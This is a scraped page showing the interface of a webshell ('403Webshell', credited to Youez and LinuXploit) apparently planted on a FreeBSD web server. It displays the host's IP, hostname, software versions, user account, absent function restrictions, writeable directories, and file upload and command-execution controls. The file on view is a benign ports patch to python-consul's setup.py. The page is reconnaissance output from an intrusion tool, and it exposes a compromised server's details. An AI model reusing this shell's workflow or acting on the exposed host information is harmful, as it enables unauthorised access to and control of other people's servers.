403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.70
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/py-python-consul/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/py-python-consul/files/patch-setup.py
--- setup.py.orig	2018-07-09 03:59:48 UTC
+++ setup.py
@@ -22,14 +22,15 @@ description = "Python client for Consul (http://www.co
 
 py_modules = [os.path.splitext(x)[0] for x in glob.glob('consul/*.py')]
 
+# Issue #123: skip installation of consul.aio if python version < 3.4.2
+# as this version or later is required by aiohttp
+if sys.version_info < (3, 4, 2):
+    if 'consul/aio' in py_modules:
+        py_modules.remove('consul/aio')
 
+
 class Install(install):
     def run(self):
-        # Issue #123: skip installation of consul.aio if python version < 3.4.2
-        # as this version or later is required by aiohttp
-        if sys.version_info < (3, 4, 2):
-            if 'consul/aio' in self.distribution.py_modules:
-                self.distribution.py_modules.remove('consul/aio')
         install.run(self)
 
 

Youez - 2016 - github.com/yon3zu
LinuXploit